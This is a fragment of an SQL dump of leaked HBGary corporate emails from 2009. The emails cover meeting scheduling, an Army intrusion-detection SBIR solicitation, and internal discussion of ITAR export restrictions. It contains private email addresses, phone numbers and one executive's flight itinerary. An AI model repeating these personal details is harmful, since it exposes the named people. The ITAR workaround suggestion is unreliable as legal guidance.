Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999877.M164534P3547Q493.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Buzz out loud cast 1119','Talks about new software from a company called passware that can break\r\nbitlocker encryption.  Not sure how but guess is using memory forensics.\r\n\r\nTed, using responder when we get some bodies we should have them spend\r\na few cycles attpting some of the same things with commonly viewed\r\nsecure products, such as truecrypt, etc.  And then publish a small\r\nwhitepaper based on findings.  We can get some serious press I think\r\nwith a few of these types of exercises.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',9999,'aaron_hbgary_com/9999.html'),(494,'2009-12-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999877.M374692P3547Q494.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Introduction','Hi John,Sorry for delay, I started last week in a full sprint. &nbsp;Are you still available today or Friday? &nbsp;I am meeting Greg and Penny at 930, I think thats it for me for the day but have to double check with Penny. &nbsp;I would definitely still like to get together this week if you available.AaronOn Dec 3, 2009, at 8:48 AM, John Edwards wrote:Aaron,I’m good Tuesday until 1630 and anytime on Friday.&nbsp; Let me know what works for you.&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 03, 2009 7:29 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Gregs in town next week. &nbsp;Do you have something set up with him already or should I set something, or does Greg need to be there?&nbsp;Either way, Tuesday afternoon works, also Friday works. &nbsp;Either of those days good for you?&nbsp;Aaron&nbsp;&nbsp;On Dec 1, 2009, at 11:45 AM, John Edwards wrote:Aaron,This week is crazy – some large proposals.&nbsp; How about next week.&nbsp; What is your schedule for next week?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 01, 2009 8:36 AMTo:&nbsp;John EdwardsSubject:&nbsp;Re: Introduction&nbsp;Hi John,&nbsp;Do you want to try and link up this week or wait until next week when Greg gets into town?&nbsp;Aaron&nbsp;&nbsp;On Nov 25, 2009, at 4:02 PM, Penny Hoglund wrote:Hi John,&nbsp;I’d like to introduce you to Aaron Barr, CEO of HBGary Federal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a lot of experience with your old employer.&nbsp; He has his clearance as does his President Ted Vera.&nbsp;&nbsp;As I told you Greg will be out week of December 7th&nbsp;so perhaps we could all meet then.&nbsp; Please feel free to communicate prior to that as well&nbsp;ThanksPenny&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12301,'aaron_hbgary_com/12301.html'),(495,'2009-12-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999877.M559283P3547Q495.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Potential SBIR','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg, Penny, Ted and Aaron,\r\n\r\n&nbsp;\r\n\r\nWe need not run away just because it is ITAR.&nbsp; Past contracts\r\ntaught us strategies.&nbsp; We can build prototype code that is labeled ITAR.&nbsp;\r\nThen we throw away the ITAR prototype, and redevelop something different from\r\nscratch with completely new code and its commercial name. &nbsp;We can verify\r\nwith legal counsel, but I think it works if the commercial code is all\r\nnew.&nbsp; Also, even if it stays ITAR it only impacts our ability to sell\r\noverseas, not to U.S. companies.&nbsp; We&#8217;ve had foreign sales, but\r\nreally not much so far.&nbsp; Of course, I&#8217;d want our core technology to\r\nnot be impacted by ITAR.\r\n\r\n&nbsp;\r\n\r\nAgreeing with Greg, the only way we could take on SBIR contracts\r\nnow is if the work is done by HBGary Fed people.&nbsp; I presume that HBGary\r\npeople could consult.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Tuesday, December 08, 2009 7:28 AM\r\nTo: Ted Vera\r\nCc: Barr Aaron; Bob Slapnik; penny@hbgary.com\r\nSubject: Re: Potential SBIR\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTed,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHBGary proper needs to stay 1000 yards away from this\r\none.&nbsp; It\'s ITAR which means anything that touches it gets an export restriction\r\nslapped on it.&nbsp; HBGary Federal can certainly go after it, but any\r\ntechnology from HBGary needs to be legally protected and sublicensed so that no\r\nITAR can touch it.&nbsp; On the flip side, the SBIR looks exciting because its\r\na host based solution.&nbsp; If you go after it, keep this in mind - no\r\nbillable hours can ever be executed from HBGary\'s end, its all fed.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Dec 7, 2009 at 8:23 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\nOne point of clarification... &nbsp;We can have an informal\r\nQ&amp;A with the PM tomorrow or Wed. &nbsp;On the 10th the Q&amp;A becomes\r\nformal, with all questions and answers published by the Gov\'t for all the\r\ncompetitors to see. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Mon, Dec 7, 2009 at 9:20 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\nHi Greg, \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron, Bob and I reviewed the SBIR topics for the upcoming\r\nround of solicitations. &nbsp;This one caught our eye.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nQuestions we have:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n1. &nbsp;Is this in line with where you want to take the\r\nHBGary product-line?\r\n\r\n\r\n\r\n\r\n\r\n2. &nbsp;Do we have the resources to execute this if won?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIf we want to go after this, we should schedule a call with\r\nthe PM sometime tomorrow. &nbsp;They will not accept calls after the 9th.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nA10-013 TITLE: Intrusion Detection System\r\n(IDS) With Automatic Signature Generation for Self Healing\r\n\r\n&nbsp;\r\n\r\nNetworks\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nTECHNOLOGY AREAS: Information Systems\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThe technology within this topic is\r\nrestricted under the International Traffic in Arms Regulation (ITAR), which\r\ncontrols the export and import of defense-related material and services.\r\nOfferors must disclose any proposed use of foreign nationals, their country of\r\norigin, and what tasks each would accomplish in the statement of work in accordance\r\nwith section 3.5.b.(7) of the solicitation.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nOBJECTIVE: To develop an intrusion\r\ndetection system (IDS) that can be leveraged to create a self-healing,\r\nself-monitoring, self-diagnosing, self-hardening, and self-recovering network\r\narchitecture after corruption an attack through the automatic generation of\r\nsignatures for malicious code.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDESCRIPTION: In today&#8217;s world,\r\ncomputer systems have become so complex and interdependent that the original\r\nmodel of system defense, based around a signature-based intrusion detection\r\nsystem (IDS) that requires updating by the software developer for new malicious\r\ncode signatures is becoming infeasible. Additionally, these signatures are\r\ncreated manually through long hours of disassembling a worm or virus which creates\r\na critical lag time before protection mechanisms can reach the field. The Army\r\nneeds effective mechanisms to protect vulnerable hosts from being compromised\r\nwhile allowing them to continue providing critical services under aggressively\r\nspreading attacks for unknown vulnerabilities. A failure to respond correctly\r\nand rapidly can have disastrous consequences. Army systems should automatically\r\ndetect and respond to threats of all kinds, including but not limited to\r\nautomated attacks.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nTherefore, the goal of this research is to\r\ndevelop a host intrusion detection system (IDS) that can support a\r\nself-healing, self-monitoring, self-diagnosing, self-hardening, and\r\nself-recovering network architecture after corruption an attack by automatically\r\ncreating malicious code signatures to protect against variants of known threats\r\nas well as possible zero day attacks. The research under this effort would\r\nfocus on host-based IDS that can monitor software execution at the instruction\r\nlevel to track what data was derived from untrusted sources, and detect when\r\nuntrusted data is used in ways that signify that an attack has taken place.\r\nResearch will have to be conducted for determining trusted versus untrusted\r\nresources, but for the initial effort under this topic all processes and data\r\nfrom locally executed programs on the host would be treated as trusted, with\r\nall information coming from external sources as untrusted, and tracked\r\nregarding where the external data propogates throughout the system (e.g., system\r\ncalls, assembly code, format strings, etc). This technique should be able to\r\nreliably detect a large class of exploit attacks and should not require access\r\nto source code of programs running on the host, allowing it to be used on\r\ncommercial-of-the-shelf software.&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nOnce the IDS on the host detects an attack,\r\nit should generate a signature which is then distributed to IDS software on\r\nother vulnerable hosts over a secure connection. The generation of the new\r\nsignatures should take into account information such as: what data can be\r\nextracted from the system at the point of the attack, what data can be traced\r\nback through the system using the point of the attack as a starting point, what\r\ndata flows through the system were captured at the time of the attack, what\r\ninformation is on the stack or heap currently, what information is in memory,\r\nand how closely does this information match to previously known signatures.\r\nThis will allow for tightly, well-crafted signatures with a low likelihood of\r\nfalse positives or false negatives. The more tightly these signatures can match\r\nthe exploit the higher the probability of detecting polymorphic worms and\r\nviruses becomes. The signature creation algorithm should be able to deal with\r\nan adversarial environment where malicious parties may try to mislead the\r\nsystem in the creation of new signatures.&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThe other hosts&#8217; IDS authenticate the\r\nsource of the new signature, verify the integrity of the signature, verify the\r\ncorrectness of the signature, and use it to self-harden against attacks.\r\nMalicious code signatures are created from the exploit itself similar to the\r\nway a vaccine is created from a virus and should therefore have a lower chance\r\nof triggering false positives.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPHASE I:&nbsp;\r\n\r\n&nbsp;\r\n\r\n1) Develop a concept for a self healing\r\nintrusion detection system technology.\r\n\r\n&nbsp;\r\n\r\n2) Provide design and architecture\r\ndocuments of a prototype tool that demonstrates the feasibility of the concept.\r\n\r\n&nbsp;\r\n\r\n3) Develop prototype that demonstrates the\r\nfeasibility of the concept\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPHASE II:\r\n\r\n&nbsp;\r\n\r\n1) Based on the results from Phase I,\r\nrefine and extend the design of the intrusion detection system prototype to a\r\nfully functioning solution.\r\n\r\n&nbsp;\r\n\r\n2) Provide test and evaluation results\r\ndemonstrating the ability of the proposed solution to detect, react, and\r\nrecover from a simulated attack.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPHASE III: Applicable DoD deployment\r\ndomains include tactical and sustaining base networks. The DoD will utilize the\r\ntechnology developed under this effort to remain operational during an attack.\r\nThe automation provided by this technology also allows for a decrease in human\r\nmanagement of the network and which allows for that soldier/employee to focus\r\non another critical area of the mission. As a result, the technology will find\r\nuse in both the DoD and commercial sector.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nREFERENCES:\r\n\r\n&nbsp;\r\n\r\n1. David Brumley, James Newsome, Dawn Song,\r\nHao Wang, Somesh Jha, &#8220;Theory and Techniques for Automatic Generation of\r\nVulnerability-Based Signatures&#8221;, 2006. http://reports-archive.adm.cs.cmu.edu/anon/2006/CMU-CS-06-108.pdf\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n2. David Brumley, James Newsome, Dawn Song,\r\n&#8220;Sting: An End-to-End Self-Healing System for Defending against\r\nInternetWorms&#8221;, 2006. http://bitblaze.cs.berkeley.edu/papers/sting-book-chapter-06.pdf\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n3. James Newsome, Dawn Song, &#8220;Dynamic\r\nTaint Analysis for Automatic Detection, Analysis, and Signature Generation of\r\nExploits on Commodity Software&#8221;, 2005. http://valgrind.org/docs/newsome2005.pdf\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKEYWORDS: Self healing, Intrusion detection\r\nsystems (IDS), automatic signature generation, cyber security, cyber protection\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nTPOC: Mr. Jonathan Santos\r\n\r\n&nbsp;\r\n\r\nPhone: 732-427-5539\r\n\r\n&nbsp;\r\n\r\nFax: 732-427-4880\r\n\r\n&nbsp;\r\n\r\nEmail: Jonathan.M.Santos@us.army.mil\r\n\r\n&nbsp;\r\n\r\n2nd TPOC: Leonard Pohl\r\n\r\n&nbsp;\r\n\r\nPhone: 732-427-3724\r\n\r\n&nbsp;\r\n\r\nFax: 732-427-4880\r\n\r\n&nbsp;\r\n\r\nEmail: len.pohl@us.army.mil\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6638,'aaron_hbgary_com/6638.html'),(496,'2009-12-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999877.M736183P3547Q496.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,penny@hbgary.com','HBGary Federal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, Ted and Penny,\r\n\r\n&nbsp;\r\n\r\nUpon searching google for &#8220;HBGary Federal&#8221; links\r\npopped up for D&amp;B, Twitter, etc with old, outdated info about HBGary\r\nFederal.&nbsp; HBGFed has new addresses, links, etc.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4827,'aaron_hbgary_com/4827.html'),(497,'2009-12-08','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999877.M919745P3547Q497.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,','Re: Potential SBIR','I had a discussion with Kay today regarding ITAR and we should keep an\r\nopen mind.\r\n\r\nOn Tue, Dec 8, 2009 at 6:36 AM, Bob Slapnik  wrote:\r\n> Greg, Penny, Ted and Aaron,\r\n>\r\n>\r\n>\r\n> We need not run away just because it is ITAR.  Past contracts taught us\r\n> strategies.  We can build prototype code that is labeled ITAR.  Then we\r\n> throw away the ITAR prototype, and redevelop something different from\r\n> scratch with completely new code and its commercial name.  We can verify\r\n> with legal counsel, but I think it works if the commercial code is all new.\r\n> Also, even if it stays ITAR it only impacts our ability to sell overseas,\r\n> not to U.S. companies.  We’ve had foreign sales, but really not much so\r\n> far.  Of course, I’d want our core technology to not be impacted by ITAR.\r\n>\r\n>\r\n>\r\n> Agreeing with Greg, the only way we could take on SBIR contracts now is if\r\n> the work is done by HBGary Fed people.  I presume that HBGary people could\r\n> consult.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> From: Greg Hoglund [mailto:greg@hbgary.com]\r\n> Sent: Tuesday, December 08, 2009 7:28 AM\r\n> To: Ted Vera\r\n> Cc: Barr Aaron; Bob Slapnik; penny@hbgary.com\r\n> Subject: Re: Potential SBIR\r\n>\r\n>\r\n>\r\n> Ted,\r\n>\r\n>\r\n>\r\n> HBGary proper needs to stay 1000 yards away from this one.  It\'s ITAR which\r\n> means anything that touches it gets an export restriction slapped on it.\r\n> HBGary Federal can certainly go after it, but any technology from HBGary\r\n> needs to be legally protected and sublicensed so that no ITAR can touch it.\r\n> On the flip side, the SBIR looks exciting because its a host based\r\n> solution.  If you go after it, keep this in mind - no billable hours can\r\n> ever be executed from HBGary\'s end, its all fed.\r\n>\r\n>\r\n>\r\n> -Greg\r\n>\r\n> On Mon, Dec 7, 2009 at 8:23 PM, Ted Vera  wrote:\r\n>\r\n> One point of clarification...  We can have an informal Q&A with the PM\r\n> tomorrow or Wed.  On the 10th the Q&A becomes formal, with all questions and\r\n> answers published by the Gov\'t for all the competitors to see.\r\n>\r\n>\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Mon, Dec 7, 2009 at 9:20 PM, Ted Vera  wrote:\r\n>\r\n> Hi Greg,\r\n>\r\n>\r\n>\r\n> Aaron, Bob and I reviewed the SBIR topics for the upcoming round of\r\n> solicitations.  This one caught our eye.\r\n>\r\n>\r\n>\r\n> Questions we have:\r\n>\r\n>\r\n>\r\n> 1.  Is this in line with where you want to take the HBGary product-line?\r\n>\r\n> 2.  Do we have the resources to execute this if won?\r\n>\r\n>\r\n>\r\n> If we want to go after this, we should schedule a call with the PM sometime\r\n> tomorrow.  They will not accept calls after the 9th.\r\n>\r\n>\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n> A10-013 TITLE: Intrusion Detection System (IDS) With Automatic Signature\r\n> Generation for Self Healing\r\n>\r\n>\r\n>\r\n> Networks\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> TECHNOLOGY AREAS: Information Systems\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> The technology within this topic is restricted under the International\r\n> Traffic in Arms Regulation (ITAR), which controls the export and import of\r\n> defense-related material and services. Offerors must disclose any proposed\r\n> use of foreign nationals, their country of origin, and what tasks each would\r\n> accomplish in the statement of work in accordance with section 3.5.b.(7) of\r\n> the solicitation.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> OBJECTIVE: To develop an intrusion detection system (IDS) that can be\r\n> leveraged to create a self-healing, self-monitoring, self-diagnosing,\r\n> self-hardening, and self-recovering network architecture after corruption an\r\n> attack through the automatic generation of signatures for malicious code.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> DESCRIPTION: In today’s world, computer systems have become so complex and\r\n> interdependent that the original model of system defense, based around a\r\n> signature-based intrusion detection system (IDS) that requires updating by\r\n> the software developer for new malicious code signatures is becoming\r\n> infeasible. Additionally, these signatures are created manually through long\r\n> hours of disassembling a worm or virus which creates a critical lag time\r\n> before protection mechanisms can reach the field. The Army needs effective\r\n> mechanisms to protect vulnerable hosts from being compromised while allowing\r\n> them to continue providing critical services under aggressively spreading\r\n> attacks for unknown vulnerabilities. A failure to respond correctly and\r\n> rapidly can have disastrous consequences. Army systems should automatically\r\n> detect and respond to threats of all kinds, including but not limited to\r\n> automated attacks.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Therefore, the goal of this research is to develop a host intrusion\r\n> detection system (IDS) that can support a self-healing, self-monitoring,\r\n> self-diagnosing, self-hardening, and self-recovering network architecture\r\n> after corruption an attack by automatically creating malicious code\r\n> signatures to protect against variants of known threats as well as possible\r\n> zero day attacks. The research under this effort would focus on host-based\r\n> IDS that can monitor software execution at the instruction level to track\r\n> what data was derived from untrusted sources, and detect when untrusted data\r\n> is used in ways that signify that an attack has taken place. Research will\r\n> have to be conducted for determining trusted versus untrusted resources, but\r\n> for the initial effort under this topic all processes and data from locally\r\n> executed programs on the host would be treated as trusted, with all\r\n> information coming from external sources as untrusted, and tracked regarding\r\n> where the external data propogates throughout the system (e.g., system\r\n> calls, assembly code, format strings, etc). This technique should be able to\r\n> reliably detect a large class of exploit attacks and should not require\r\n> access to source code of programs running on the host, allowing it to be\r\n> used on commercial-of-the-shelf software.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Once the IDS on the host detects an attack, it should generate a signature\r\n> which is then distributed to IDS software on other vulnerable hosts over a\r\n> secure connection. The generation of the new signatures should take into\r\n> account information such as: what data can be extracted from the system at\r\n> the point of the attack, what data can be traced back through the system\r\n> using the point of the attack as a starting point, what data flows through\r\n> the system were captured at the time of the attack, what information is on\r\n> the stack or heap currently, what information is in memory, and how closely\r\n> does this information match to previously known signatures. This will allow\r\n> for tightly, well-crafted signatures with a low likelihood of false\r\n> positives or false negatives. The more tightly these signatures can match\r\n> the exploit the higher the probability of detecting polymorphic worms and\r\n> viruses becomes. The signature creation algorithm should be able to deal\r\n> with an adversarial environment where malicious parties may try to mislead\r\n> the system in the creation of new signatures.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> The other hosts’ IDS authenticate the source of the new signature, verify\r\n> the integrity of the signature, verify the correctness of the signature, and\r\n> use it to self-harden against attacks. Malicious code signatures are created\r\n> from the exploit itself similar to the way a vaccine is created from a virus\r\n> and should therefore have a lower chance of triggering false positives.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> PHASE I:\r\n>\r\n>\r\n>\r\n> 1) Develop a concept for a self healing intrusion detection system\r\n> technology.\r\n>\r\n>\r\n>\r\n> 2) Provide design and architecture documents of a prototype tool that\r\n> demonstrates the feasibility of the concept.\r\n>\r\n>\r\n>\r\n> 3) Develop prototype that demonstrates the feasibility of the concept\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> PHASE II:\r\n>\r\n>\r\n>\r\n> 1) Based on the results from Phase I, refine and extend the design of the\r\n> intrusion detection system prototype to a fully functioning solution.\r\n>\r\n>\r\n>\r\n> 2) Provide test and evaluation results demonstrating the ability of the\r\n> proposed solution to detect, react, and recover from a simulated attack.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> PHASE III: Applicable DoD deployment domains include tactical and sustaining\r\n> base networks. The DoD will utilize the technology developed under this\r\n> effort to remain operational during an attack. The automation provided by\r\n> this technology also allows for a decrease in human management of the\r\n> network and which allows for that soldier/employee to focus on another\r\n> critical area of the mission. As a result, the technology will find use in\r\n> both the DoD and commercial sector.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> REFERENCES:\r\n>\r\n>\r\n>\r\n> 1. David Brumley, James Newsome, Dawn Song, Hao Wang, Somesh Jha, “Theory\r\n> and Techniques for Automatic Generation of Vulnerability-Based Signatures”,\r\n> 2006. http://reports-archive.adm.cs.cmu.edu/anon/2006/CMU-CS-06-108.pdf\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> 2. David Brumley, James Newsome, Dawn Song, “Sting: An End-to-End\r\n> Self-Healing System for Defending against InternetWorms”, 2006.\r\n> http://bitblaze.cs.berkeley.edu/papers/sting-book-chapter-06.pdf\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> 3. James Newsome, Dawn Song, “Dynamic Taint Analysis for Automatic\r\n> Detection, Analysis, and Signature Generation of Exploits on Commodity\r\n> Software”, 2005. http://valgrind.org/docs/newsome2005.pdf\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> KEYWORDS: Self healing, Intrusion detection systems (IDS), automatic\r\n> signature generation, cyber security, cyber protection\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> TPOC: Mr. Jonathan Santos\r\n>\r\n>\r\n>\r\n> Phone: 732-427-5539\r\n>\r\n>\r\n>\r\n> Fax: 732-427-4880\r\n>\r\n>\r\n>\r\n> Email: Jonathan.M.Santos@us.army.mil\r\n>\r\n>\r\n>\r\n> 2nd TPOC: Leonard Pohl\r\n>\r\n>\r\n>\r\n> Phone: 732-427-3724\r\n>\r\n>\r\n>\r\n> Fax: 732-427-4880\r\n>\r\n>\r\n>\r\n> Email: len.pohl@us.army.mil\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal, Inc.\r\n> 719-237-8623\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal, Inc.\r\n> 719-237-8623\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',11849,'aaron_hbgary_com/11849.html'),(498,'2009-12-08','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999878.M111640P3547Q498.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Greg\'s flight from Boston','Aaron, do you want Greg to go withyou to Agilex?  If so, plan for\r\nafter he arrives, see below.\r\n\r\n\r\n\r\n\r\nTraveler name: Michael Hoglund\r\n\r\n Boston (BOS) to Washington (IAD)  12/10/09 12:08 pm - 1:51 pm  UNITED\r\n7837 Operated By: /UNITED EXPRESS/CHAUTAUQUA AIRLINES\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',1457,'aaron_hbgary_com/1457.html'),(499,'2009-12-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999878.M285769P3547Q499.eml','\"Nieves, Alexander\" <Alexander.Nieves@mantech.com>','Re: Discussion','How does Friday look Alex?  If it\'s no good I can meet with you maybe\r\nlate next week to go over things and we can catch Greg his next trip\r\nout.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 7, 2009, at 10:12 AM, \"Nieves, Alexander\"  wrote:\r\n\r\n> Aaron im trying to move some appts around so we can meet so let me see\r\n> what I can do for this week?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, December 02, 2009 2:25 AM\r\n> To: Nieves, Alexander\r\n> Subject: Discussion\r\n>\r\n> Hi Alex,\r\n>\r\n> I was wondering if you would be interested in getting together next\r\n> week\r\n> to talk about my new role, what we might be able to do together and\r\n> get\r\n> a brief on the latest HBGary and Mantech capabilities?  Greg Hoglund\r\n> will be in town and of course does the best job conveying the\r\n> technologies (I\'ll get there).  Not sure how familiar you are with\r\n> their\r\n> tools, but the one I am most excited about is their Digital DNA, it\r\n> does\r\n> behavior/characteristic identification of malware based on HBGarys\r\n> Malware genome database.  So far its 75% successful at detecting all\r\n> malware we throw at it, as the genome database gets larger that should\r\n> get better, but already pretty good.\r\n>\r\n> Another idea I am starting to form is a combined capability that I\r\n> think\r\n> can push the rock a little on Attribution.  I am not sure if you are\r\n> familiar with Palantir.  Their main focus in link analysis, and their\r\n> tool is best in class.  I want to combine Palantirs capability for\r\n> externals analysis with HBGarys capability for malware binary analysis\r\n> and fingerprinting and start doing some long term analysis and\r\n> correlation of attacks.  I think this approach could push the\r\n> Attribution rock forward a little.\r\n>\r\n> I know you guys are in the \"forensics\" space but would really like to\r\n> talk about what that really means, also share where we are going and\r\n> see\r\n> where we might be able to help each other.\r\n>\r\n> If you noticed the time of the email.  3rd night in a row I have woken\r\n> up in the middle of the night and can\'t sleep because my mind is\r\n> racing.\r\n> Its nice to be excited about work, but I need some sleep.\r\n>\r\n> Aaron\r\n',9813,'aaron_hbgary_com/9813.html'),(500,'2009-12-08','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1296999879.M820317P3547Q500.eml','\"Vera Ted\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','From Greg','\r\n\r\n',622,'aaron_hbgary_com/622.html'),(501,'2009-12-08','ted@hbgary.com','/aaron@hbgary.com/new/1296999880.M243730P3547Q502.eml','aaron@hbgary.com','Greg\'s Back-of-the-napkin Architectur...','I\'ve shared a document with you:\r\n\r\nGreg\'s Back-of-the-napkin Architectur...\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0Abu9N_XVzxNhZHFuNjV3dF8yMWZrOXJ0OWQ1&hl=en&invite=CKy8pf0E\r\n\r\nIt\'s not an attachment -- it\'s stored online at Google Docs. To open this  \r\ndocument, just click the link above.\r\n\r\n',7469,'aaron_hbgary_com/7469.html'),(502,'2009-12-08','\"Bagby, Ryan\" <ryan.bagby@boeing.com>','/aaron@hbgary.com/new/1296999880.M35157P3547Q501.eml','aaron@hbgary.com','RE: Right address','Hi Aaron, do you have any time the rest of this week?   \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, November 30, 2009 10:22 AM\r\nTo: Bagby, Ryan\r\nSubject: Re: Right address\r\n\r\nHey Ryan,\r\n\r\nDo you have some time this Friday?  I am at the AFCEA cyber conference\r\nWed/Thurs.\r\n\r\nAaron\r\n\r\n\r\nOn Nov 24, 2009, at 10:31 PM, Bagby, Ryan wrote:\r\n\r\n> Hey Aaron, Nice to hear from you. I\'d noticed I hadn\'t seen you around \r\n> in a while; congratulations on the move.  I\'m actually out of town for \r\n> the rest of the week, but would be happy to meet up next\r\n> week if possible.  Right now anytime Thursday looks good for me.   \r\n> Let me know if that might work with your schedule.\r\n> 